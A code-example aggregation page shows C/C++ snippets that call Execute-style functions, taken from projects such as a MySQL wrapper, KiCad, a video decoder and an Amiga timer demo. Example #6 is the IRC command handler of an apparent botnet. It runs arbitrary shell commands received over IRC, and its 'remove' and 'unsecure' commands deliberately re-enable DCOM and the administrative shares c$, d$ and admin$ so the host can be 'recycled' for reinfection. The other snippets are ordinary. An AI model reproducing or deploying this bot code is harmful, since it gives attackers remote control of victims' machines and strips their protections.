void CGtserviceModule::ForceUpdate()
{
	CString autoUpdate = GetPath() + _T("\\autoupdate.exe");
	Execute(autoUpdate);
}
Example #2
0
int TagCurrentDir()
{
  String cmd=config.exe+" "+config.opt;
  if(!Execute(cmd))return 0;
  return 1;
}
Example #3
0
	virtual void Unexecute(const DataObject &object)
	{
		// Since we can only Unexecute if Longest Road has not changed, simply
		// rerun the Execute, which will update road lengths.
		Execute(object);
	}
Example #4
0
void MySQLConnection::RollbackTransaction()
{
    Execute("ROLLBACK");
}
ThreadedTask::~ThreadedTask()
{
	ExitRequested = true;
	Execute();
	LWP_JoinThread(Thread, NULL);
}
Example #6
0
bool CBot::HandleCommand(CMessage *pMsg)
{	
	if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) {
		CString sId(pMsg->sChatString.Token(1, " ", true));
		if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_pMainCtrl->m_cBot.bot_id.sValue)) return false;
		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo);
#ifdef WIN32
		/// should unsecure system as remove bot to allow recycling //
		
		// Set EnableDCOM to "Y"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// UnSecure Shares
		Execute("net.exe", "net share c$=c:\\");
		Execute("net.exe", "net share d$=d:\\");
		Execute("net.exe", "net share e$=e:\\");
		Execute("net.exe", "net share ipc$");
		Execute("net.exe", "net share admin$");

		// Delete Autostart
		if(g_pMainCtrl->m_cBot.as_enabled.bValue)
			g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
		if(g_pMainCtrl->m_cBot.as_service.bValue)
			g_pMainCtrl->m_cInstaller.ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
		g_pMainCtrl->m_cInstaller.Uninstall();
		g_pMainCtrl->m_cIRC.m_bRunning=false; g_pMainCtrl->m_bRunning=false; }

	else if(!pMsg->sCmd.Compare("bot.execute")) {
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1;
#ifdef WIN32
		CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables
		sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
		memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo);
		if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE;
		if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#else
		CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr());
		if(system(sCmdBuf.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }

	else if(!pMsg->sCmd.Compare("bot.open")) {
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
#ifdef WIN32
		bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32;
#else
		bRet=system(sText.CStr())>0;
#endif
		if(bRet) return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str());
		else return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.dns")) {
		CString sReply; hostent *pHostent=NULL; in_addr iaddr;
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr());
	
		if(addr!=INADDR_NONE) {
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET);
			if(pHostent) {
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name);
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); }
		} else {
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr());
			if(pHostent) {
				iaddr=*((in_addr*)*pHostent->h_addr_list);
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr));
				return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }
		
		if(!pHostent) {
			sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr());
			return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } }

	else if(!pMsg->sCmd.Compare("bot.about")) {
		CString sReplyBuf; sReplyBuf.Format("%s", g_pMainCtrl->m_sNameVerStr.CStr());
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.id")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.nick")) {
		g_pMainCtrl->m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr());
		g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", g_pMainCtrl->m_sUserName.CStr());
		return true; }

	else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) {
		g_pMainCtrl->m_cIRC.m_bRunning=false; return true; }

	else if(!pMsg->sCmd.Compare("bot.sysinfo")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.longuptime")) {
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7;
		CString sUptime=LongUptime(iDays);
		if(sUptime.Compare("")) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				sUptime.Str(), pMsg->sReplyTo.Str()); }
		return true; }

	else if(!pMsg->sCmd.Compare("bot.status")) {
		return g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, Status().Str(), pMsg->sReplyTo.Str()); }

	else if(!pMsg->sCmd.Compare("bot.rndnick")) {
		CString sRndNick=RndNick(si_nickprefix.sValue.CStr());
		g_pMainCtrl->m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr());
		g_pMainCtrl->m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr());
		return true; }

	else if(!pMsg->sCmd.Compare("bot.flushdns")) {
#ifdef WIN32
		Execute("ipconfig.exe", "/flushdns");
#else
		Execute("nscd", "-i hosts");
#endif // WIN32
		return true; }

	else if(!pMsg->sCmd.Compare("bot.secure")) {	
#ifdef WIN32
		// Set EnableDCOM to "N"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "N"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// Secure Shares
		system("net share c$ /delete /y");
		system("net share d$ /delete /y");
		system("net share ipc$ /delete /y");
		system("net share admin$ /delete /y");

		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Bot Secured", pMsg->sReplyTo.Str());

#endif
		return true; }


	else if(!pMsg->sCmd.Compare("bot.unsecure")) {	
#ifdef WIN32
		// Set EnableDCOM to "Y"
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128];
		strcpy(szDataBuf, "Y"); dwSize=strlen(szDataBuf);
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey);
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize);
		RegCloseKey(hkey);

		// UnSecure Shares
		system("net share c$=c:\\");
		system("net share d$=d:\\");
		system("net share e$=e:\\");
		system("net share ipc$");
		system("net share admin$");

		g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \
				"Bot UnSecured", pMsg->sReplyTo.Str());
#endif

		return true; }




	
	else if(!pMsg->sCmd.Compare("bot.command")) {	
#ifdef WIN32
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false;
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false;
		CString sReplyBuf; sReplyBuf.Format("command (%s) executed.", sText.CStr());

		if(system(sText.CStr())==-1) { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute command.", pMsg->sReplyTo.Str()); return false; }
		else { g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); return false; }
#endif
		return true; }


	return false; }
Example #7
0
void CCommandLine::Parse(const std::vector<tstring>& args)
{
    try
    {
        if (args.size() == 0)
            return;

        for (unsigned int i = 0; i < args.size(); ++i)
        {
            tstring strParameter = args.at(i);
            if (i == 0)
            {
                if (strParameter.size() > 0 && strParameter[0] == '-')
                {
                    if (strParameter == FINDAVAILABLETRACEID)
                        m_nOperationType = FIND_AVAILABLE_TRACE_ID;
                    else if (strParameter == FINDTRACEID)
                        m_nOperationType = FIND_TRACE_ID;
                    else if (strParameter == FINDUNUSEDTRACEID)
                        m_nOperationType = FIND_UNUSED_TRACE_ID;
                }
                else
                    m_nOperationType = UNKNOWN_OPERATION;
            }
            else
            {
                std::vector<tstring> parameters;
                CTools::SplitString(args[i], "=", parameters);
                if (parameters.size() == 2)
                {
                    if (parameters.at(0) == TraceHeader)
                        m_strTraceHeader = parameters.at(1);
                    else if (parameters.at(0) == TraceID)
                        m_strTraceID = parameters.at(1);
                    else if (parameters.at(0) == ExportFile)
                        m_strExportFileName = parameters.at(1);
                    else if (parameters.at(0) == SourcePath)
                        m_strSourcePath = parameters.at(1);
                    else if (parameters.at(0) == MessageFile)
                        m_strMessageFile = parameters.at(1);
                }
                else
                {
                    m_strErrorMessage = "Error parameter:" + args[i];
                    CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Error parameter:") + m_strErrorMessage);
                    break;
                }
            }
        }

        BOOL bReady = TRUE;
        if (m_strSourcePath.empty())
        {
            bReady = FALSE;
            CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Source Path is empty"));
        }

        if (m_strExportFileName.empty())
        {
            bReady = FALSE;
            CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Exported file name is empty"));
        }

        if (m_nOperationType == FIND_AVAILABLE_TRACE_ID)
        {
            if (m_strTraceHeader.empty())
            {
                bReady = FALSE;
                CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Trace Header is empty"));
            }
        }
        else if (m_nOperationType == FIND_TRACE_ID)
        {
            if (m_strTraceID.empty())
            {
                bReady = FALSE;
                CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Trace ID is empty"));
            }
        }
        else if (m_nOperationType == FIND_UNUSED_TRACE_ID)
        {
            if (m_strMessageFile.empty())
            {
                bReady = FALSE;
                CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Message File is empty"));
            }
        }
        

        if (bReady)
            Execute();
    }
    catch (std::exception& exc)
    {
        CTraceLogger::getLogger().critical(tstring("CCommandLine::Parse - Exception:") + exc.what());
    }
}
Example #8
0
//-----------------------------------------------------------------------------
void mglParser::Execute(mglGraph *gr, const char *text)
{
	MGL_TO_WCS(text, Execute(gr, wcs));
}
GLDEF_C TInt E32Main()
	{
	return Execute();
	}
Example #10
0
myMenuCommands::myMenuCommands(const char *_Title,cList<cNestedItem> *_Commands,const char *Parameters):cOsdMenu(_Title)
#else
myMenuCommands::myMenuCommands(const char *_Title,cCommands *_Commands, const char *Parameters):cOsdMenu(_Title)
#endif
{
 SetHasHotkeys();
 commands=_Commands;
#if VDRVERSNUM > 10713
 result=NULL;
 parameters=Parameters;
 for(cNestedItem *Command=commands->First();Command;Command=commands->Next(Command)) {
  const char *s=Command->Text();
  if(Command->SubItems())
   Add(new cOsdItem(hk(cString::sprintf("%s...", s))));
  else if(Parse(s))
   Add(new cOsdItem(hk(title)));
 }
#else
 parameters=Parameters?strdup(Parameters):NULL;
 for(cCommand *command=commands->First();command;command=commands->Next(command))
  Add(new cOsdItem(hk(command->Title())));
#endif
}

myMenuCommands::~myMenuCommands()
{
#if VDRVERSNUM > 10713
 free(result);
#else
 free(parameters);
#endif
}

#if VDRVERSNUM > 10713
bool myMenuCommands::Parse(const char *s)
{
 const char *p=strchr(s,':');
 if(p) {
  int l=p-s;
  if(l>0) {
   char t[l+1];
   stripspace(strn0cpy(t,s,l+1));
   l=strlen(t);
   if(l>1&&t[l-1]=='?') {
    t[l-1]=0;
    confirm=true;
   }
   else
    confirm=false;
   title=t;
   command=skipspace(p+1);
   return true;
  }
 }
 return false;
}
#endif

#if VDRVERSNUM > 10713
eOSState myMenuCommands::Execute()
{
 cNestedItem *Command=commands->Get(Current());
 if(Command) {
  if(Command->SubItems())
   return AddSubMenu(new myMenuCommands(Title(),Command->SubItems(),parameters));
  if(Parse(Command->Text())) {
   if(!confirm||Interface->Confirm(cString::sprintf("%s?",*title))) {
    Skins.Message(mtStatus,cString::sprintf("%s...",*title));
    free(result);
    result=NULL;
    cString cmdbuf;
    if(!isempty(parameters))
     cmdbuf=cString::sprintf("%s %s",*command,*parameters);
    const char *cmd=*cmdbuf?*cmdbuf:*command;
    dsyslog("executing command '%s'",cmd);
    cPipe p;
    if(p.Open(cmd,"r")) {
     int l=0;
     int c;
     while((c=fgetc(p))!=EOF) {
      if(l%20==0)
       result=(char *)realloc(result,l+21);
      result[l++]=char(c);
     }
     if(result)
      result[l]=0;
     p.Close();
    }
    else
     esyslog("ERROR: can't open pipe for command '%s'",cmd);
    Skins.Message(mtStatus,NULL);
    if(result)
     return AddSubMenu(new cMenuText(title,result,fontFix));
    return osEnd;
   }
  }
 }
 return osContinue;
}
#else
eOSState myMenuCommands::Execute()
{
 cCommand *command=commands->Get(Current());
 if(command)
 {
  char *buffer=NULL;
  bool confirmed=false;
#ifdef CMDSUBMENUVERSNUM
  if (command->hasChilds())
  {
   AddSubMenu(new myMenuCommands(command->Title(), command->getChilds(), parameters));
   return osContinue;
  }
#endif
  if(command->Confirm())
  {
   if(asprintf(&buffer,"%s?",command->Title())!=-1)
   {
    confirmed=Interface->Confirm(buffer);
    free(buffer);
   }
  } else {
    confirmed=true;
  }
  if(confirmed)
  {
   if(asprintf(&buffer, "%s...",command->Title())!=-1)
   {
    Skins.Message(mtStatus,buffer);
    free(buffer);
   }
   const char *Result=command->Execute(parameters);
   Skins.Message(mtStatus,NULL);
   if(Result)
    return AddSubMenu(new cMenuText(command->Title(),Result,fontFix));
   return osEnd;
  }
 }
 return osContinue;
}
#endif

eOSState myMenuCommands::ProcessKey(eKeys Key)
{
 eOSState state=cOsdMenu::ProcessKey(Key);

 if(state==osUnknown)
 {
  switch(Key)
  {
   case kRed:
   case kGreen:
   case kYellow:
   case kBlue: return osContinue;
   case kOk: return Execute();
   default: break;
  }
 }
 return state;
}
Example #11
0
// === Public functions
HRESULT CDXVADecoderVC1::DecodeFrame(BYTE* pDataIn, UINT nSize, REFERENCE_TIME rtStart, REFERENCE_TIME rtStop)
{
    HRESULT hr;
    int nSurfaceIndex;
    CComPtr<IMediaSample> pSampleToDeliver;
    int nFieldType, nSliceType;
    UINT nFrameSize, nSize_Result;

    FFVC1UpdatePictureParam(&m_PictureParams, m_pFilter->GetAVCtx(), &nFieldType, &nSliceType, pDataIn, nSize, &nFrameSize, FALSE, &m_bFrame_repeat_pict);

    if (FFIsSkipped(m_pFilter->GetAVCtx())) {
        return S_OK;
    }

    // Wait I frame after a flush
    if (m_bFlushed && !m_PictureParams.bPicIntra) {
        return S_FALSE;
    }

    hr = GetFreeSurfaceIndex(nSurfaceIndex, &pSampleToDeliver, rtStart, rtStop);
    if (FAILED(hr)) {
        ASSERT(hr == VFW_E_NOT_COMMITTED);      // Normal when stop playing
        return hr;
    }

    CHECK_HR_TRACE(BeginFrame(nSurfaceIndex, pSampleToDeliver));

    TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : PictureType = %d, rtStart = %I64d, Surf = %d\n", nSliceType, rtStart, nSurfaceIndex);

    m_PictureParams.wDecodedPictureIndex = nSurfaceIndex;
    m_PictureParams.wDeblockedPictureIndex = m_PictureParams.wDecodedPictureIndex;

    // Manage reference picture list
    if (!m_PictureParams.bPicBackwardPrediction) {
        if (m_wRefPictureIndex[0] != NO_REF_FRAME) {
            RemoveRefFrame(m_wRefPictureIndex[0]);
        }
        m_wRefPictureIndex[0] = m_wRefPictureIndex[1];
        m_wRefPictureIndex[1] = nSurfaceIndex;
    }
    m_PictureParams.wForwardRefPictureIndex = (m_PictureParams.bPicIntra == 0) ? m_wRefPictureIndex[0] : NO_REF_FRAME;
    m_PictureParams.wBackwardRefPictureIndex = (m_PictureParams.bPicBackwardPrediction == 1) ? m_wRefPictureIndex[1] : NO_REF_FRAME;

    m_PictureParams.bPic4MVallowed = (m_PictureParams.wBackwardRefPictureIndex == NO_REF_FRAME && m_PictureParams.bPicStructure == 3) ? 1 : 0;
    m_PictureParams.bPicDeblockConfined |= (m_PictureParams.wBackwardRefPictureIndex == NO_REF_FRAME) ? 0x04 : 0;

    m_PictureParams.bPicScanMethod++;       // Use for status reporting sections 3.8.1 and 3.8.2

    TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : Decode frame %i\n", m_PictureParams.bPicScanMethod);

    // Send picture params to accelerator
    CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_PictureParametersBufferType, sizeof(m_PictureParams), &m_PictureParams));

    // Send bitstream to accelerator
    CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_BitStreamDateBufferType, nFrameSize ? nFrameSize : nSize, pDataIn, &nSize_Result));

    m_SliceInfo.wQuantizerScaleCode = 1;    // TODO : 1->31 ???
    m_SliceInfo.dwSliceBitsInBuffer = nSize_Result * 8;
    CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_SliceControlBufferType, sizeof(m_SliceInfo), &m_SliceInfo));

    // Decode frame
    CHECK_HR_TRACE(Execute());
    CHECK_HR_TRACE(EndFrame(nSurfaceIndex));

    // ***************
    if (nFrameSize) { // Decoding Second Field
        FFVC1UpdatePictureParam(&m_PictureParams, m_pFilter->GetAVCtx(), NULL, NULL, pDataIn, nSize, NULL, TRUE, &m_bFrame_repeat_pict);

        CHECK_HR_TRACE(BeginFrame(nSurfaceIndex, pSampleToDeliver));

        TRACE_VC1("CDXVADecoderVC1::DecodeFrame() : PictureType = %d\n", nSliceType);

        CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_PictureParametersBufferType, sizeof(m_PictureParams), &m_PictureParams));

        // Send bitstream to accelerator
        CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_BitStreamDateBufferType, nSize - nFrameSize, pDataIn + nFrameSize, &nSize_Result));

        m_SliceInfo.wQuantizerScaleCode = 1;        // TODO : 1->31 ???
        m_SliceInfo.dwSliceBitsInBuffer = nSize_Result * 8;
        CHECK_HR_TRACE(AddExecuteBuffer(DXVA2_SliceControlBufferType, sizeof(m_SliceInfo), &m_SliceInfo));

        // Decode frame
        CHECK_HR_TRACE(Execute());
        CHECK_HR_TRACE(EndFrame(nSurfaceIndex));
    }
    // ***************

#ifdef _DEBUG
    DisplayStatus();
#endif

    // Update timestamp & Re-order B frames
    if (m_bFrame_repeat_pict || m_pFilter->IsReorderBFrame()) {
        if (m_bFrame_repeat_pict || m_pFilter->GetCodec() == AV_CODEC_ID_WMV3) {
            m_pFilter->UpdateFrameTime(rtStart, rtStop, !!m_bFrame_repeat_pict);
        }
        if (m_pFilter->IsReorderBFrame() || m_pFilter->IsEvo()) {
            if (m_PictureParams.bPicBackwardPrediction == 1) {
                SwapRT(rtStart, m_rtStartDelayed);
                SwapRT(rtStop,  m_rtStopDelayed);
            } else {
                // Save I or P reference time (swap later)
                if (!m_bFlushed) {
                    if (m_nDelayedSurfaceIndex != -1) {
                        UpdateStore(m_nDelayedSurfaceIndex, m_rtStartDelayed, m_rtStopDelayed);
                    }
                    m_rtStartDelayed = m_rtStopDelayed = _I64_MAX;
                    SwapRT(rtStart, m_rtStartDelayed);
                    SwapRT(rtStop,  m_rtStopDelayed);
                    m_nDelayedSurfaceIndex  = nSurfaceIndex;
                }
            }
        }
    }

    AddToStore(nSurfaceIndex, pSampleToDeliver, (m_PictureParams.bPicBackwardPrediction != 1), rtStart, rtStop,
               false, (FF_FIELD_TYPE)nFieldType, (FF_SLICE_TYPE)nSliceType, 0);
    m_bFlushed = false;

    return DisplayNextFrame();
}
Example #12
0
void KICAD_MANAGER_FRAME::OnRunPageLayoutEditor( wxCommandEvent& event )
{
    Execute( this, PL_EDITOR_EXE );
}
Example #13
0
void KICAD_MANAGER_FRAME::OnRunPcbCalculator( wxCommandEvent& event )
{
    Execute( this, PCB_CALCULATOR_EXE );
}
Example #14
0
void KICAD_MANAGER_FRAME::OnRunBitmapConverter( wxCommandEvent& event )
{
    Execute( this, BITMAPCONVERTER_EXE );
}
Example #15
0
// Common main for linux and windows
int CommonMain(const CefMainArgs& args, CefSettings settings, CefRefPtr<MainCefApp> app, void* windows_sandbox_info, std::string userDirectory)
{

#ifdef CLIENT_DEPLOYMENT

	// Disable logging of CEF
	settings.log_severity = LOGSEVERITY_DISABLE;

#else // if no deployment, open console

	// Open Windows console for debugging purposes (even when deployed)
#ifdef _WIN32
	AllocConsole();
	freopen("conin$", "r", stdin);
	freopen("conout$", "w", stdout);
	freopen("conout$", "w", stderr);
#endif // _WIN32

#endif // CLIENT_DEPLOYMENT

	// Set path for CEF data: cache, user data and debug.log
	CefString(&settings.cache_path).FromASCII(std::string(userDirectory + "cache").c_str());
	CefString(&settings.user_data_path).FromASCII(std::string(userDirectory + "user_data").c_str());
	CefString(&settings.log_file).FromASCII(std::string(userDirectory + "debug.log").c_str());
	
	// Set output path of custom log file
	LogPath = userDirectory;

	// Say hello
	LogInfo("####################################################");
	LogInfo("Welcome to GazeTheWeb - Browse!");
	LogInfo("Version: ", CLIENT_VERSION);
	LogInfo("Personal files are saved in: ", userDirectory);

	// Turn on offscreen rendering.
	settings.windowless_rendering_enabled = true;
	settings.remote_debugging_port = 8088;

    // Initialize CEF
    LogInfo("Initializing CEF...");
    CefInitialize(args, settings, app.get(), windows_sandbox_info);
    LogInfo("..done.");

    // Execute our code
    bool shutdownOnExit = Execute(app, userDirectory);

    // Shutdown CEF
    LogInfo("Shutdown CEF...");
    CefShutdown();
    LogInfo("..done.");

    // Return zero
    LogInfo("Successful termination of program.");
    LogInfo("####################################################");

	// Tell computer to shut down
	if (shutdownOnExit)
	{
		shutdown();
	}

	// Exit
    return 0;
}
Example #16
0
int main(int argc,char **argv)
{
LONG seconds;
struct timerequest *tr;      /* IO block for timer commands */
struct timeval oldtimeval;   /* timevals to store times     */
struct timeval mytimeval;
struct timeval currentval;

printf("\nTimer test\n");

/* sleep for two seconds */
currentval.tv_secs = 2;
currentval.tv_micro = 0;
time_delay( &currentval, UNIT_VBLANK );
printf( "After 2 seconds delay\n" );

/* sleep for four seconds */
currentval.tv_secs = 4;
currentval.tv_micro = 0;
time_delay( &currentval, UNIT_VBLANK );
printf( "After 4 seconds delay\n" );

/* sleep for 500,000 micro-seconds = 1/2 second */
currentval.tv_secs = 0;
currentval.tv_micro = 500000;
time_delay( &currentval, UNIT_MICROHZ );
printf( "After 1/2 second delay\n" );

printf( "DOS Date command shows: " );
(void) Execute( "date", 0, 0 );

/* save what system thinks is the time....we'll advance it temporarily */
get_sys_time( &oldtimeval );
printf("Original system time is:\n");
show_time(oldtimeval.tv_secs );

printf("Setting a new system time\n");

seconds = 1000 * SECSPERDAY + oldtimeval.tv_secs;

set_new_time( seconds );
/* (if user executes the AmigaDOS DATE command now, he will*/
/* see that the time has advanced something over 1000 days */

printf( "DOS Date command now shows: " );
(void) Execute( "date", 0, 0 );

get_sys_time( &mytimeval );
printf( "Current system time is:\n");
show_time(mytimeval.tv_secs);

/* Added the microseconds part to show that time keeps */
/* increasing even though you ask many times in a row  */

printf("Now do three TR_GETSYSTIMEs in a row (notice how the microseconds increase)\n\n");
get_sys_time( &mytimeval );
printf("First TR_GETSYSTIME \t%ld.%ld\n",mytimeval.tv_secs, mytimeval.tv_micro);
get_sys_time( &mytimeval );
printf("Second TR_GETSYSTIME \t%ld.%ld\n",mytimeval.tv_secs, mytimeval.tv_micro);
get_sys_time( &mytimeval );
printf("Third TR_GETSYSTIME \t%ld.%ld\n",mytimeval.tv_secs, mytimeval.tv_micro);

printf( "\nResetting to former time\n" );
set_new_time( oldtimeval.tv_secs );

get_sys_time( &mytimeval );
printf( "Current system time is:\n");
show_time(mytimeval.tv_secs);

/* just shows how to set up for using the timer functions, does not */
/* demonstrate the functions themselves.  (TimerBase must have a    */
/* legal value before AddTime, SubTime or CmpTime are performed.    */
tr = create_timer( UNIT_MICROHZ );
if (tr)
    TimerBase = (struct Library *)tr->tr_node.io_Device;
else
    printf("Could't create timer with UNIT_MICROHZ\n");

/* and how to clean up afterwards */
TimerBase = (struct Library *)(-1);
delete_timer( tr );

return 0;
}
/*
================
idThread::Event_Execute
================
*/
void idThread::Event_Execute( void ) {
	Execute();
}
Example #18
0
unsigned int StdSchedulerThread::ThreadFunc() {
  // Keep calling Execute until someone gets fed up and calls StopThread()
  while (fRunThreadRun) Execute();
  return (0);
}
Example #19
0
bool MySQLConnection::Initialize(const char *infoString)
{
    MYSQL * mysqlInit = mysql_init(NULL);
    if (!mysqlInit)
    {
        sLog.outError( "Could not initialize Mysql connection" );
        return false;
    }

    Tokens tokens = StrSplit(infoString, ";");

    Tokens::iterator iter;

    std::string host, port_or_socket, user, password, database;
    int port;
    char const* unix_socket;

    iter = tokens.begin();

    if(iter != tokens.end())
        host = *iter++;
    if(iter != tokens.end())
        port_or_socket = *iter++;
    if(iter != tokens.end())
        user = *iter++;
    if(iter != tokens.end())
        password = *iter++;
    if(iter != tokens.end())
        database = *iter++;

    mysql_options(mysqlInit,MYSQL_SET_CHARSET_NAME,"utf8");
#ifdef WIN32
    if(host==".")                                           // named pipe use option (Windows)
    {
        unsigned int opt = MYSQL_PROTOCOL_PIPE;
        mysql_options(mysqlInit,MYSQL_OPT_PROTOCOL,(char const*)&opt);
        port = 0;
        unix_socket = 0;
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
#else
    if(host==".")                                           // socket use option (Unix/Linux)
    {
        unsigned int opt = MYSQL_PROTOCOL_SOCKET;
        mysql_options(mysqlInit,MYSQL_OPT_PROTOCOL,(char const*)&opt);
        host = "localhost";
        port = 0;
        unix_socket = port_or_socket.c_str();
    }
    else                                                    // generic case
    {
        port = atoi(port_or_socket.c_str());
        unix_socket = 0;
    }
#endif

    mMysql = mysql_real_connect(mysqlInit, host.c_str(), user.c_str(),
        password.c_str(), database.c_str(), port, unix_socket, 0);

    if (mMysql)
    {
        DETAIL_LOG( "Connected to MySQL database at %s",
            host.c_str());
        sLog.outString( "MySQL client library: %s", mysql_get_client_info());
        sLog.outString( "MySQL server ver: %s ", mysql_get_server_info( mMysql));

        /*----------SET AUTOCOMMIT ON---------*/
        // It seems mysql 5.0.x have enabled this feature
        // by default. In crash case you can lose data!!!
        // So better to turn this off
        // ---
        // This is wrong since mangos use transactions,
        // autocommit is turned of during it.
        // Setting it to on makes atomic updates work
        // ---
        // LEAVE 'AUTOCOMMIT' MODE ALWAYS ENABLED!!!
        // W/O IT EVEN 'SELECT' QUERIES WOULD REQUIRE TO BE WRAPPED INTO 'START TRANSACTION'<>'COMMIT' CLAUSES!!!
        if (!mysql_autocommit(mMysql, 1))
            DETAIL_LOG("AUTOCOMMIT SUCCESSFULLY SET TO 1");
        else
            DETAIL_LOG("AUTOCOMMIT NOT SET TO 1");
        /*-------------------------------------*/

        // set connection properties to UTF8 to properly handle locales for different
        // server configs - core sends data in UTF8, so MySQL must expect UTF8 too
        Execute("SET NAMES `utf8`");
        Execute("SET CHARACTER SET `utf8`");

        return true;
    }
    else
    {
        sLog.outError( "Could not connect to MySQL database at %s: %s\n",
